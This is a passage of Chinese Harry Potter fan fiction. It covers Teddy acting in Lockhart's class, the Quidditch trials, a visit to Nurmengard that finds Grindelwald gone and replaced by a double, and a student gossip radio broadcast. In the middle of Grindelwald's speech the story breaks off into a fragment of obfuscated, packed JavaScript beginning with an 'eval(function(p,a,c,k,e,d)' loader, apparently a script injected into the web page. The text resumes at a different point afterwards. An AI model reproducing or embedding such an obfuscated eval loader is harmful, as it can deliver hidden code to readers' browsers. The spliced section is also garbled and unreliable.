孩子们挨个上前拥抱她。 『不,妈妈,我们不会再离开你了。』 “四兄妹回到了过去,没有再离开母亲,从此他们一家人过着幸福的生活。”哈利解除了漂浮咒,啪地合上书,“好了,故事到此结束,到小孩子的睡觉时间了。” 泰迪没有像往常般乖乖把自己裹进被子里,而是拉了拉哈利的衣袖。 “怎么,泰迪?”哈利俯身凑过去,泰迪用细小的两只胳膊紧紧勾住他的脖子,又把自己的小脸贴在他的肩上,“哈利,四兄妹真厉害,他们能穿越时间回到过去,改变历史。” “童话故事里当然一切都可能发生。” “可我们也回到过去了。” 哈利默不作声。 “你说过这个过去已经不一样了。是不是意味着,我们也能改变历史?我的父母,哈利的父母,还有西弗和邓布利多教授,大家都可以像故事里说的那样幸福地生活下去。我没有四兄妹那么厉害,可是哈利你的魔法这么强,你可以做到的吧?” 哈利迟疑了一下,右手轻柔地拍他的背部。 “如果你这么相信的话。” 泰迪的手还是没有松开,很长时间一语不发。 “我亲爱的泰迪,你要是再不放手,恐怕就得改变第一个历史了。” “什么历史?” “曾经大难不死的男孩会被你勒死。” 51. 消失在纽蒙迦德的前魔王 吉德罗·洛哈特教授的黑魔法防御术课从第二个星期开始就名不副实了。他好像压根忘了继续演示上节课教过的一忘皆空的咒语,而是开始朗诵起他的那些名作来。 “他是不是对自己用了一忘皆空了?”小哈利悄悄对其他人说道。 “你早上没看休息室里的公告吗?下周末就要开始选拔演员——”罗恩也压低了声音,“我打赌他只是提前进入状况——” 赫敏瞪了他一眼,“你们就不能闭嘴吗?为什么不能静下心来欣赏呢?这是很好的戏剧学习不是吗?” “就因为他上次说要邀请你去表演……” 在大段大段声情并茂的朗诵后,意犹未尽的黑魔法防御术教授决定把一些精彩而具有冲击性的片段重现出来。而在选择协助表演者的时候,尽管赫敏跳上跳下把手举得高高的,但作为一个罕见的易容马格斯,泰迪还是毫无疑问地中标了。 “头发颜色要雪白,不要去想邓布利多教授的头发,想象一下霍格沃兹冬天时下的雪花!眼睛要像鲜血一样红——美极了——牙齿得是尖的,要露出来——”洛哈特假装侧身倒在地上,嘴上一刻不停地作出指示,“不不不我的男孩——不是你的门牙,那是兔子才有的——是一对犬牙——就这样!太像了!来,扑过来咬我的脖子——记得轻一点儿,别咬出血了,快——对对就像这样,然后我趁他一个不注意,猛然一个挺身,翻身把他压倒——当然早就准备好了魔杖,在他反应过来前快速施展了一个非常深奥的改变体质的咒语——他尖声厉叫——叫声太完美了,卢平,别停下——很快他的尖牙缩了回去,取而代之的是门牙变长了,就像兔牙似的——。就这样,这个吸血鬼再也不用吸人血了,他改吃了胡萝卜——卢平,啃啃这根萝卜——而我则和他成为了好朋友,结伴走遍了北方的各个村落!” 下课铃适时响起,洛哈特心满意足地站直了身体,“这星期的家庭作业是就这次我和吸血鬼的事迹,并根据台上的表演,编写一个小剧本!”说完他又拍了拍正苦着脸把门牙缩回去的泰迪,“你的表现简直出乎我的意料!准备参加圣诞节的演出吗?我会给你留一个位置的。”他调皮地眨眨眼。 泰迪表情古怪地冲回教室后排,罗恩、赫敏和小哈利还留在后头等着他。 “伙计你怎么了?”看到好友似乎难以忍受的神情,罗恩诧异地问道。 “咬洛哈特一口的感觉不赖吧?”小哈利在旁边挤眉弄眼。 泰迪嘴唇依然紧紧抿着,表情更扭曲了。 “我想我明白了。”赫敏大笑起来,随后拔出了魔杖,“张开嘴,泰迪。” 目光疑惑地在魔杖上停留了会儿,泰迪觉得自己已经没有什么不能豁出去的了,于是乖乖地长大了嘴巴。 “清泉如水。” 一股清水自赫敏的魔杖尖喷出,在泰迪的口里转了一圈后,化成水沫消散在空中。 “感觉如何?” “棒极了!”泰迪抹抹嘴,嘟囔道。 “那我们走吧。”赫敏对三人敬佩的目光毫不在意,“顺带一提,你还打算留着那根萝卜当午餐吗?” —————— 黑魔法防御术课上的遭遇让泰迪被同伴们笑话了好几天,更糟糕的是可以任他抱怨撒娇的教父在课下却依然找不到踪影,结果使得他的低气压持续到了周五晚上。而在周六的大清早,他好不容易把郁闷都甩到脑后,和另外两个男孩一起把赫敏拉到了魁地奇球场。 清晨的空气还带着丝丝凉意,空旷的球场上几乎空无一人。 赫敏在晨风中抱着双臂,毫不留情地抱怨,“天才刚亮啊,我们是不是来太早了?” “不早了,我和哈利打算先热热身。”罗恩热切地说,说话间小哈利已经迫不及待一飞冲天了。然后他有点兴奋、感激又不安地看向泰迪,“我说伙计,你真的肯把你的光轮2000借给我?” “当然,反正我今年不准备参加魁地奇队,平时也用不着。它现在对你用处更大。”泰迪对他咧嘴而笑。 罗恩再次感动得无以复加,尽管他在前一晚已经泪流满面过一次了,用赫敏的话来评价,恶心兮兮的。 魁地奇球场上渐渐热闹起来,伍德也带着其他队员站在球场一角指挥着选拔的进行。泰迪眼看着两个男孩匆匆跨下扫帚,加入了排队的行列后,刚打算去赫敏那里找个好位置舒舒服服地为好友们加油打气,就感觉自己的肩膀被一只从后面伸过来的手搭上了。 “我看到哈利和罗恩的飞行了,实话说飞得不错,奥利弗会欣喜若狂的。你怎么没参加?”是弗雷德。 泰迪还没来得及开口,另一边的肩膀也被搭上了,“话说,你见着佩弗利尔教授了吗?”这回是乔治。 神经被微妙地拨动了。 “你知道,他才答应做我们队的顾问——” ——他可是我的教父! “上次我们特地跑到高年级的黑魔法防御术教室,稍稍提醒了他一下——” ——不要让我想起那根胡萝卜! “他还答应我们要来看队员选拔呢。” ——他上周六还答应过会来找我呢! “也许他还在睡懒觉呢。可我怎么会知道呢?我这一星期还没见过他呢。”泰迪回过头来面对双胞胎,笑容甜美,眼神无辜得就像泰迪熊一样。“当然了,我想就算他忘了他还有一个教子,也不会忘了魁地奇的。” 乔治和弗雷德同时打了个哆嗦,沉默了。 哦,梅林的扫帚,他们是不是惹上什么可怕的事了? 告别双胞胎后,仍黑着脸鼓着腮帮子的泰迪在最高一排的座位上找到了赫敏,以及开学以来就没碰见过的科林。 灰发的男孩似乎兴致盎然,举着照相机咔嚓咔嚓声不断,看见泰迪来了,便向他挥舞照相机,“嗨,泰迪!” “嗨,科林。”泰迪冲他点点头,在赫敏旁边坐下,女孩递给他一张照片——飞在空中的黑白小哈利使劲拽着一只手——泰迪认出手的主人是罗恩,因为他之前曾不小心掉下了扫帚——虽然在照片上他被整个儿挡在白边外了,怎么拽也拽不上来。 科林一边摆弄照相机一边神往地说,“魁地奇这项运动太有趣了,我本来不太懂,赫敏刚刚给我解释了一遍,她说——” “这、见、鬼、的、是、什、么?” 伍德被放大的、带着回音的粗嗓门打断了他们的对话,科林好奇地往下张望,“发生什么事了?” 不管是在球场上还是在天上,每个人都如同被施了定身咒一般,目瞪口呆地面朝着同一个方向。 他们是在看什么? 当金色的飞贼在他们眼前迅速闪过——疑问立即被解答——泰迪清楚看见扒着飞贼翅膀、随风剧烈晃动的那个黑色物体,或者说,人偶—— “西比!?” 这可……不太妙。 —————— 哈利当然没有在睡懒觉。尽管在这个时间点上,他会更愿意窝在自己温暖的房间里,而不是像现在这样,坐在小船上随着翻滚的海水时起时落。 当邓布利多在大半夜前来请求哈利陪他走一趟的时候,正熬夜设计决斗课教案的年轻教授可完全没料到校长口中轻描淡写的“一趟”会远至德国。于是,在黎明破晓之前,他们就已经坐上了前往据说位处海中央的纽蒙迦德监狱的特制小船上。 结果刚出海滨就遭遇狂风暴雨,被施加了保护魔法的小船虽然不至于被浪头掀翻,但跟着波浪起起伏伏、比晕船还要糟糕的感觉也实在不好受。尤其是—— 带着海水咸味的雨水溅了哈利一脸一身,他留着一只手紧紧扒住船舷,另一只手快速抹了把脸——当然下一秒他的脸又被前赴后继的雨水亲吻了。哈利心里叹了口气,放弃了徒劳的举动,抬头看了看默不作声在船头指引航线的校长,又忍不住把视线移向船尾。 为什么他也跟来了? 似乎注意到了前面那人不满、或者更多是疑惑的视线,斯内普转过头来直盯着哈利的眼睛。他看上去也和哈利一样的狼狈——油腻腻的头发因为被雨水打湿而一绺绺地黏在脸上——只不过他好像对此毫不在意。 “是邓布利多教授邀请的我。”仿佛看穿哈利的心思,他嘴唇讥讽地一勾,“我完全有理由相信,这是为了以防你做出什么不可挽救的蠢事,佩弗利尔。” “给‘蠢事’下个定义,斯内普。”听惯了魔药教授种类繁多、风格各异的讽刺,哈利自认能做到不为所动,可还是忍不住要回敬两句,“要我来举例的话,你在分院仪式上的……等等,你刚刚叫我什么?”他狐疑地眯起了眼睛。 也许是被勾起了分院仪式上糟糕透顶的体验,斯内普面无表情地瞪他,“佩弗利尔!” “就是这个!”哈利下意识抬高了嗓音,惊讶地回瞪他,“为什么你没叫我波特?”这可不能怪他为一个称呼大惊小怪的。以往在私人场合,斯内普更倾向于用他特有的讥讽口吻叫他真正的姓氏“波特”,而非“佩弗利尔”。 “你知道——”斯内普怀抱起双臂,脸上浮现意味不明的笑容,“我的读书生涯因为一个波特的存在而不堪回首,而我的教书生涯则因为另一个波特的出现变得难以忍受,于是我忽然意识到,实在是不需要让第三个波特来把我的私生活也搞得一团乱了。” 船头好像飘来几声轻笑,哈利的脸刷地红了。 “我碍着你的私生活什么事了?何况,自欺欺人可不是你的风格。” “至少在我的嘴巴和耳朵免受污染的情况下,有助于抑制我想在某人的汤里下药的冲动。” 这个威胁实在是太有效了,哈利的怒视自然是被轻描淡写地忽视过去。他只好恨恨地甩了甩额前湿漉漉的头发,甩的方向不巧是某人的脸上。 梅林在上,看来以后他还是应该学习穆迪的好作风——自备饮食。 又航行了片刻,狂风暴雨渐渐弱去。当海面彻底重归平静时,他们似乎进入了一片全新的海域——不知从哪儿吹来的海风带来了雾气,来得极快,从一开始的稀薄,顷刻间便浓雾弥漫,形成一片雾海。视线所及之处,除了身下的这艘小船,周围和远处的一切都被涂抹得朦胧不清。 “阿不思,我们不会迷路吧?”哈利不安地问。在雾中甚至无法辨别方向,更别提要找到不知道还有多远的纽蒙迦德监狱了。 “不用担心,我们离纽蒙迦德已经不远了。”邓布利多安抚地对他微笑,“这片大雾就是保护防卫监狱的魔法阵,所以我们才不得不乘坐这艘小船,它会为我们指引正确的路线。” 果然,船头上方飘浮着一团荧光,一束光芒划破层层浓雾,笔直地指着某个方向,而小船正朝着这个方向前进。 “所以纽蒙迦德是隐藏在雾中的?”一旦放下心来,哈利的好奇心又冒出来了。 “正确来说,它被建在海上的一座无名岛上。这片雾海不过是障眼法,防止外人随意闯入,也是为了阻止犯人外逃——他们往往在海上转几个月都逃不出这片雾的范围。当然,这并不是纽蒙迦德唯一的防御措施。” “其它还有什么?” “噬乐鬼。” 一个从未听过的新名词。哈利皱起眉头,“噬……什么?” “噬乐鬼。”邓布利多耐心地重复一遍,手指在空中划过,写下了这个词的拼写,“它们和摄魂怪一样,曾是纽蒙迦德的守卫。” “和摄魂怪一样?”尽管早就不畏惧这种阴暗的生物,但哈利还是感到浑身说不清的不舒服。“那它们也会吸取人的快乐吗?” “这个嘛——”“它们也是以人的情绪为食粮,但和摄魂怪不同的是,它们擅于在人的脑中建造一个幻觉,一个能令他们内心深处最大的渴望得以实现的幸福幻觉——当然,这只是个开始。” “内心最大的渴望……”哈利心中默默跟着念道,一瞬间脑海里像是闪过什么,下意识地瞥了瞥身后一言未发的斯内普。后者敛起了所有的表情,视线垂下,让人读不了他的任何想法。哈利莫名烦躁起来,只能用目光示意邓布利多继续说下去。 “噬乐鬼会从嘴里吐出一种烟雾,吸入它的人会产生幻觉。听上去有点像麻瓜的毒品不是么?”邓布利多湛蓝的眼睛透过半月形的镜片在他们两人之间扫视,“那些幻觉会让人沉溺其中,不愿脱离——想想吧,有多少人能抵抗这样的美梦呢,所有的愿望、所有的渴望不管在现实中是多么的荒谬,可在幻觉中都能轻易成真,幸福唾手可得。然而,当他们的幸福感达到顶峰的时候,一切又会不同了。” “什么意思?” “当一个人从快乐的顶峰坠入绝望深渊的那瞬间所产生的情绪,就是噬乐鬼最喜爱的食物。” 哈利感到一阵恶寒,可又控制不住自己问,“然后那些人会怎样?” “不怎么样,当他们痛不欲生到了顶点,幻觉会再次变得幸福而温暖,一切重新开始。周而复始,直到他们承受不住,在绝望悲伤中死亡。” 恐怖感在慢慢地缠绕上来。这真是最残酷的一种刑罚了。 沉默的航行持续了好一会儿。 “只是一群懦夫。”斯内普终于抬起视线,言简意赅地下了结论。 “现在纽蒙迦德这里还有……噬乐鬼吗?”哈利困难地吐出了那三个字。 邓布利多摇摇头,“在格林德沃被打败后,它们就消失了——至今没人能知道它们的行踪。当然,现在的纽蒙迦德也不需要守卫了,因为它里面只关了格林德沃这一个囚徒,而众所周知,把他关进纽蒙迦德的就是他自己。” 哈利心中叹息,也许现在连那唯一的一个囚徒也已经逃出去了,但愿他们不是白跑一趟。 他忽然又想到另一个问题。 “守护神应该是对付不了噬乐鬼的吧?” “当然,很难击退它们,它们并不害怕光明,但我们可以用……啊,到了!” 船在一座寸草不生、仿佛完全由沙石和岩块组成的小岛上靠岸了。哈利上岸后发现,岛上的雾不如海上来的浓厚,他能很清楚地看见不远处黑黢黢的城墙,以及城墙内高耸的塔楼,显然是由乌黑的岩石建起来的,外墙爬满了魔鬼藤,一眼望去,简直就像是阴森凄寒的堡垒,漆黑而令人畏惧。 哈利不知道邓布利多是不是第一次来这里,但老人脸上感慨万分的神情却是掩饰不住的。 “我们进去吧,去和我的老朋友打个招呼。” 有了德国魔法部的特别许可,三人轻易地进入了城墙内部,穿过了那扇刻有“为了更大的利益”的大门,当他们最终到达塔楼的顶层时,哈利一直紧绷的弦松懈了下来。 因为出乎他意料的,本以为极有可能已经逃狱的前魔王,居然就坐靠在早已熄火的壁炉边,对于不速之客的到来,甚至还桀桀笑了两声。 “欢迎欢迎,我可没预料到会有这么多客人来这个鬼地方。阿不思,你过得还不错吧?” 老人脸颊塌陷,岁月的痕迹在上面布满皱纹。长年的囚禁使得他目光迟钝而浑浊,弓腰缩背,几乎找不到当年意气风发时的神采。 斯内普忽然往哈利身边靠近,后者询问地看向他。这油腻腻的老蝙蝠平常不是恨不得离他有多远是多远的吗? “这人不对劲,准备好你的魔杖。” 哈利一惊,来不及追问就下意识地往自己的裤袋摸去,同时关注着格林德沃的一举一动。 只见邓布利多面容严峻地上前一步,拔出了魔杖,“如你所见,盖勒特。虽然我更愿意听到来自真正的你的问候。”他在“真正”两字上加上了强调。 被拆穿身份的假·格林沃德回以戏谑一笑。 “那么多年没见,你的眼力倒是没有退步,我亲爱的阿不思。” “即使我的眼力不济到看不清其他的事物,但对于你,盖勒特,就算我依然看不清你,但不会认不出你。原谅我不能明白——既然你已经离开了纽蒙迦德,为什么还要留一个虚假的分身在这里。” “当然为了等你,或者说是——”他用目光轮流审视在他身后的两人,尤其是在哈利身上多停留了片刻,“你们。我本以为你们会来得更早一点儿。” 邓布利多微微眯起眼睛,用沉默表示了他的不解。 格林德沃暗哑着嗓子笑了,“阿不思,我们分道扬镳太久了。你看,你有你的学校要管理,你有你的巫师世界要保护,你的人生充斥着你那些所谓的伟大情操和抱负。而我这个你曾经志同道合的伙伴,后来的敌人,也许都被你连同回忆一起扔进了冥想盆里了吧。但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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良久,邓布利多用一只手遮住双眼,随即又放下,叹息着说,“盖勒特说得对,我们是分道扬镳太久了。” 斯内普在沙堆旁蹲下身,魔杖在上方划动片刻后才说,“他本人应该是早在一年前就离开这里了。显然他……”他转向哈利,没想到居然看到后者是一副浑浑噩噩、心不在焉的模样。 “佩弗利尔!” “什么?”哈利这才回过神来,露出完全没听到他的话的表情。 斯内普狠狠剜了他一眼,干脆地转换对象,“阿不思,我们接下来该怎么做?需要通知德国魔法部吗?” “他既然能让我们知道他的出逃,就说明他有自信不被任何人掌握他的行踪。何况不管盖勒特·格林德沃是为了什么目的要离开这里,我并不认为他是想东山再起。”邓布利多缓慢地说,“我们……静观其变吧。” 继续停留在纽蒙迦德也已毫无意义,三人循原路返回德国魔法部。天早已大亮,邓布利多独自去找魔法部部长,剩下的两人则通过魔法部的特殊通道回到了霍格沃兹的校长室内。 大步走出校长室后,斯内普冷冷地说,“佩弗利尔,你有必要清理清理你那被弗洛伯毛虫进驻的脑子了,下次在被格林德沃拙劣的谎言激怒前请用你不多的理智好好分析一下。啊,当然,你肤浅的脑袋一向也只适合装魁地奇这类愚蠢的玩意。” “嗯。”哈利无力跟他争执,敷衍地应了一声后就跟在了后头。不过—— 魁地奇?哈利后知后觉地想起自己好像忘了什么。今天是星期六…… “啊,糟了!” 哈利猛地一拉斯内普,两人移形幻影了。 —————— “嘿,乔治!弗雷德!到底发生什么事了?我怎么看见——”双胞胎回头看见一脸慌乱的泰迪和赫敏急匆匆地跑到他们身旁,向左右看了看后压低了声音,“西比怎么会在飞贼上?” “这你可问对人了——” “刚刚奥利弗打开装着飞贼的箱子后——” “看到我们的新产品——” “听说你们叫他西比——” “正抱着飞贼睡得香呢——” “连奥利弗把飞贼取了出来都没吵醒他——” “你也知道,人在惊讶地情况下很难控制自己的行动——” “奥利弗在下巴掉下来的同时,把手也松开了——” “咻的一声——” “飞天啦!” 在乔治和弗雷德一唱一和回答泰迪的疑问时,球场已经陷入了前所未有的混乱之中——有太多人目睹飞贼上那显眼的人偶了——而那外形,怎么看都和斯莱特林的院长一模一样。 伍德则在一旁气急败坏地大嚷,“都给我飞上去!抓住飞贼就能成为格兰芬多队的找球手!” “嗷嗷嗷!”兴奋的候选者们一个个骑上了扫帚,在球场上空横冲直撞起来。可惜飞贼却不是那么好抓的。 “西比被大家发现的话……”泰迪急得双脚跳,“哈利和西弗会生气的!” 赫敏转了转眼睛,忽然对自己用了个扩声魔法,“哈利!你一定要把飞贼抓到!否则这个月我都不帮你检查作业了!” “你太卑鄙了!”小哈利骑着扫帚在他们身边疾飞而过。 “……您需要多比的帮忙吗,泰迪?”当众人正焦急地关注着天上的情况时,一个怯怯的声音从泰迪背后传来。 “多比?你怎么来了?”泰迪惊讶地问道,一时忘了去担心人偶的命运。 小精灵双手局促地揪着自己的小衣服。泰迪注意到它一向干净整洁的衣服上沾了不少泥土,前面不自然地鼓起,好像里面塞了四四方方的东西。 “多比是来找佩弗利尔教授的。多比有些问题想要请教佩弗利尔教授,可是多比在他的办公室找不到他。多比想来问问泰迪知不知道佩弗利尔教授在哪里?” “很抱歉,我也不知道。我都一个星期没见到他了。”泰迪爱莫能助地摇头。 多比的一对大耳朵失望地耷拉下来。“是吗,那多比下次再来好了。对了,泰迪需要多比帮忙吗?”它伸出细长的手指指了指天空。 泰迪的眼睛亮了,“你能抓住飞贼吗?” “多比能让它慢下来。”说话间多比的手指晃了晃,很快空中传来一声欢呼,“我抓住它了!” “哦!太棒了,我能成为格兰芬多的找球手了!”抢先抓住飞贼的正是小哈利,他正大力向众人挥舞着手中的飞贼,西比依然紧紧攥住飞贼的翅膀,跟着他的动作一晃一晃的,看样子像是还没醒来。 “太好了,谢谢你多比……”泰迪感激地回头道谢,但小精灵已经离开了。 小哈利似乎还不打算立刻回到地面,而是得意洋洋地在球场上转了一圈又一圈,但显然梅林也对他的得意忘形看不过眼了。 “波特!带上那该死的玩意,立刻下来,现在!” 划破天际的怒吼让沸腾的球场一下子安静下来。 “嘿!嘿,别激动,斯内普……” “你给我闭嘴,下次我再和你算移形幻影的帐!” “我只是急着……然后一时顺手……” 等到小哈利战战兢兢跨下扫帚后,早就等在下面的斯莱特林院长铁青着脸,一把抢过飞贼,迅速把和他酷似的人偶塞进衣兜里,飞贼则被扔到了一边,“格兰芬多扣10分!波特劳动服务一周!” 小哈利瞪大双眼,“什么!这不公平,和你长得一模一样的人偶飞上天又不是我的错!是我抓住了它!” 火上浇油。 斯内普冷笑,声调比往常阴沉十倍,“很好,格兰芬多扣50分,而你,劳动服务一个月。” 甩下这句话后,魔药教授转身就走,给目瞪口呆的众人留下黑袍滚滚、蕴藏着无尽狂怒的背影。 劝阻无效的哈利同情地望了学生们一眼,又朝泰迪做了个待会儿见的手势,匆匆追过去了。 斯内普大踏步冲进办公室,朝着一个熬着魔药的坩埚,把砸吧着嘴流口水的人偶扔了进去。 追进来的哈利惊讶地看着这一切。 “你在做什么,斯内普?” “我只是让生活回到正轨上。”出了一口恶气的斯内普舒坦地扬起眉毛。 西比猛然从咕噜咕噜冒泡的药水中冒出了头。 “西弗勒斯·斯内普!你怎么敢!不要以为我不知道你三天没……”看来药水的热度总算把它唤醒了。 哦拜托别再给他添麻烦了,该死的他的烦恼还不够多吗? 哈利扶额,一只手指把它摁了回去,“我看你还是在里面再呆一会儿吧。” 52. 霍格沃兹八卦前哨站(全) “你怎么找来这儿的?” 哈利一低头就能看到自家教子那双灵动的灰色大眼睛,正小心翼翼地透过门缝往房间里张望。 “因为哈利你一直没回来,我就只好自己来找你了。”泰迪耸耸肩,对着教父眨巴无辜的小眼神,“我想你应该在西弗这儿。” 当然,当然!梅林的臭脚丫!拜某个破人偶所赐,整整一个下午年轻的佩弗利尔教授都不得不承受魔药教授的怒火、拷问和唾沫!差点没被灌吐真剂又被迫做了一下午魔药实验对象的惨痛经历让他简直想给自己来上十个一忘皆空咒…… “你们没把西比……我是说人偶,拆了丢坩埚里吧……”泰迪似乎察觉不到教父的怨念,看起来担忧极了,尤其是对面实验室的门后好像还隐隐约约传来几句怒骂声。 还真在坩埚里泡着。年轻的教父暗暗佩服直觉不能更准的教子。 不过亲爱的泰迪,你怎么不关心自己教父有没有被拆了丢坩埚里呢?不,他还不如泡在坩埚里呢…… 得不到自己教子安慰而伤心透顶、萎靡不振的哈利叹出一口长气,这才注意到教子不是空手而来。“别担心那人偶了,它和它的嘴巴一样的生龙活虎,连斯内普和我都搞不清楚它现在算魔法生物还是别的什么!倒是你手上拿着什么?” 说着他目光下移,觉得眼熟得很,“我房间里的收音机?” “没错!”泰迪熟门熟路地把自己从教父和门之间的缝里挤了进来,一扭头就瞄到坐在一旁阅读魔药期刊的魔药教授,“晚上好,西弗。我能在这里呆一会儿吗?” “只要你别像你那幼稚又不可靠的教父一样来挑战我的神经。”斯内普居然看似心情不错,还专门赏赐了个眼神给那个破收音机。 “哦,我不会的。” “够了!狮鹫不发威你当我是弗洛伯毛虫,要决斗吗斯内普!”哈利终于忍不住发飙。 “抱歉,和弗洛伯毛虫对决会有损我的品味。”斯内普阴笑着勾起一边嘴角,“不过我不反对把它当成魔药实验对象。” 哈利瞬间被勾起痛不欲生的记忆,他刚想反击回去,就注意到自家教子嗖嗖跑向咖啡桌,把收音机搁在上面后,从口袋里摸出张小纸条,上面写着几行潦草的数字和单词——他正一面对照着上面的内容一边用魔杖在机身上敲出特定的节拍,感觉也不是很确定具体该怎么做。 “你在捣鼓什么呢?” “罗恩说今晚八点可以收听霍格沃兹八卦前哨站的节目,这是第一期呢。”小家伙旋转调频纽,指示灯亮起,扬声器里开始传出滋滋的声音。 “霍格沃兹……什么?” “霍·格·沃·兹·八·卦·前·哨·站!据说是乔治和弗雷德他们主持的新节目,我想哈利你们肯定不知道。哦,事实上教授们都应该不知道……频道号和暗号好像只在学生中私下流传。”泰迪吐吐舌头。 哈利很想提醒自己的教子卖队友的行为是不好的,他是不是忘了这间办公室里有两个教授?好吧,哈利酸溜溜地想,就算信任教父是理所当然的,斯内普凭什么也能知道?不怕被他扣光格兰芬多的分吗? 看,斯内普已经在嗤之以鼻了。 “暗号是……‘我和洛哈特有个约会’,梅林!”泰迪瞪大眼睛,“是谁想出这么惊悚的暗号的……赶上了,节目刚开始!” “……欢迎大家收听霍格沃兹八卦前哨战,今天是众目以待的第一期节目,建议大家在公共休息室或任何其它地方收听的时候做好保护措施,防范在节目播放过程中可能出现的突发状况,比如各种突如其来的魔咒、费尔奇和他的小伙伴,你们懂的。我是广播员老盾!” “是乔治!”泰迪靠近了些,很肯定地小声说。 “哈罗各位,我是广播员老剑!” “这是弗雷德……”哈利想起来了,他是不是聊起过收音节目的事儿?韦斯莱家的这对活宝显然找到了新的乐子。 “本节目由洛哈特教授荣誉冠名播出。”弗雷德忽然声音变低,几乎用气声在说话,“虽然他本人不知道。所以节目结束后千万不要发吼叫信来吐槽我们的暗号。” 哈利几乎都要同情洛哈特教授了,他完全能想象弗雷德一边调侃一边露出捉弄人的笑容的样子。他眼睛偷偷往沙发瞄了一下,虽然斯内普的坐姿甚至低头的角度都没有丝毫变动,但他敢肯定那家伙一定竖着耳朵在听——泰迪进门前他就在看有咬人甘蓝插图的那一页了! “那么,让我们进入今晚的第一个节目——‘霍格沃兹,一段新闻’。” 乔治用轻快的语调说,“首先我们来关注一下今天最火爆——” “不,我认为是这星期——”弗雷德打断道。 “不不不,完全可以说是这学期以来最令人震惊、难以置信的新闻,我觉得我的嘴巴张大得可以把一整个金飞贼给吞下去了!”乔治语调夸张地说,“事实上,每一个亲眼目睹这惊人一幕的目击者们都能吞下一个金飞贼!” “哦,老盾,别卖关子了,相信我们可爱的小听众们都想直接把金飞贼塞你嘴巴里了。” “太棒了,如果真能抓到金飞贼的话,别忘了来加入格兰芬多的魁地奇队!”乔治顺口做了个广告,“言归正传,说到金飞贼,老剑你知道今天在魁地奇球场上发生了什么事吗?” “说得好像你和我不在场似的。我注意到从一开始你就在和我东拉西扯,你是认真要播报新闻的吗?” “被你发现了。好吧,事实上今天本来是众所周知的魁地奇队员选拔会,但因为一个酷似某位教授的人偶,是的,你没幻听,人偶,活蹦乱跳的,由于实在是太像某位教授了——”乔治用了好几个重音,“当它在金色飞贼上闪亮登场后,导致场上一时风云变幻,引发了目击者们的热捧围观以及准队员们的热情围堵!最终被我们的新进找球手成功捕获!” “某位教授?”弗雷德不放过任何一个漏洞。 乔治语气中顿时充满悲愤,“哦,我想你们不会想听到他的名字的,我们心知肚明就好,尤其是格兰芬多被扣了50分之后!” 一声冷哼响起。哈利面无表情。泰迪忐忑地夹在自己教父和魔药教授之间,默默低下自己的小脑袋。 “真是糟糕,那么人偶呢?我相信听众们都会期待一睹它的风采的!” “别提了,连分都被扣了,人偶还会在吗?不过没关系,我们请来了今天第一位特别嘉宾,也是今天和人偶近距离接触、掌握着第一手资料的格兰芬多队新任找球手——绿眼睛!我们请绿眼睛给我们讲讲当时的详细情形。” “谢……谢谢老剑。大家晚上好。”一个带着点紧张的声音结结巴巴地说道。 “是小哈利……”泰迪轻呼,显然没想到自己的小伙伴也上节目了。 “其实我也不知道那只人偶是怎么爬上金飞贼的,一开始我只听到队长大叫抓住金飞贼就能当找球手,后来赫……我的朋友又威胁我抓不到飞贼就不给我检查作业……” 弗雷德打断他,“咳咳,其实我们比较感兴趣你是怎么抓住它的?另外,我刚刚收到不少猫头鹰传信,不得不惊叹听众们的热情空前高涨且动作迅速啊,很多女性听众表示非常好奇人偶的触\\\\\\\\感是不是软绵绵的很好捏,声音是不是萌萌的很可爱……男性听众则对它的构造原理表示出了极高的兴趣……” “哦,我当时眼里光顾着看金飞贼了,抓住后才发现有只人偶好像扒着金飞贼的翅膀睡得很香。我……我没有去捏它……声音也没听到,更别说去研究……事实上,这真是个糟透了的主意,它长得太像斯……” “谢谢绿眼睛提供的精彩内幕!最后,我们必须警告所有试图尝试打听人偶去向的听众们,珍爱生命,远离人偶!” 在乔治以肃穆的语气为这段新闻画下休止符后,第二声冷哼响起,哈利继续面无表情,实验室门后面是一阵咕噜咕噜声。至于泰迪……哦,他一点不想也不敢去看斯内普现在是什么表情了。必须得想办法把西比救出来! 可节目还在继续,“接下来的消息是女孩儿们会为之尖叫的。下星期是圣诞节话剧演员选拔会,报名截止日期是下周五晚上,周六下午会在礼堂由洛哈特教授亲自挑选演员。据可靠的消息来源,洛哈特教授已经写好剧本,当然剧本内容暂时还不能透露,但从我们的特别供稿人小萌熊提供的小道消息来看,剧本有极大可能性是改编自诗翁彼豆故事集里的某个故事!究竟是哪个故事呢,也许大家能省下几个金加隆和银西可来赌一把,我赌三个金加隆是《三兄弟传说》!”弗雷德已经化身赌徒了。 “嘿,这三个金加隆里有我的一份呢,我要赌《好运泉》。赐我好运吧!”乔治不甘示弱,“不管怎样,让我们拭目以待,霍格沃兹八卦前哨站会随时跟进,为大家播报最新情况的!另外为了激励选手们的积极性,洛哈特教授不仅决定亲身上阵,为演员们提供贴\\\\\\\\身、全面的演技指导,并慷慨许诺赠送每一个选上的演员签名照及著作一套!” “听上去迷人的女孩们又得为了争夺席位而打破脑袋了。”弗雷德接着说,“哦,这里有个爆料,潘西·帕金森小姐表示,她愿意出演女主角,只要洛哈特教授能送她一套签名裸[]照。” “大胆的举动!也许我们得为洛哈特教授庆幸,潘西·帕金森小姐只是想要他的裸[]照而不是把自己的裸[]照送给他。” 听到这儿,哈利忍不住问自己的教子,“你确定要去参加话剧演出?” 气氛似乎舒缓了一些,泰迪松了口气,尽量轻快地回答道,“哦,是的,事实上洛哈特教授特别邀请我了,他很满意我变出来的吸血鬼兔牙,你知道,二年级只有我一个易容马格斯。” 但哈利却皱起眉头,“去演出没问题,但如果他要给你签名裸[]照你千万别收!叫赫敏也别收!” 斯内普在旁边阴沉地补了一句,“如果他敢问你要照片,把这瓶魔药给他,正好可以管住这个恋[]童[]癖的下[]半[]身。” 泰迪:“……”。哈利和西弗你们和我听的是同一个节目吗?我听不懂…… 等三人的注意力回到节目上的时候,又过去了好几条新闻,并且开始插播广告了,“很快又是一年一度的万圣节了,大家已经在为化装舞会的装扮头痛了吗?” “也许你缺金少银,也许你技术不完美,也许你品味有待提高——” “但这一切都不是问题了!” “韦斯莱魔法把戏坊为你倾情打造!魔法世界潮流款式,样式丰富,效果持久,是化身精灵,还是美人鱼,或者是巨龙?没有你变不了, 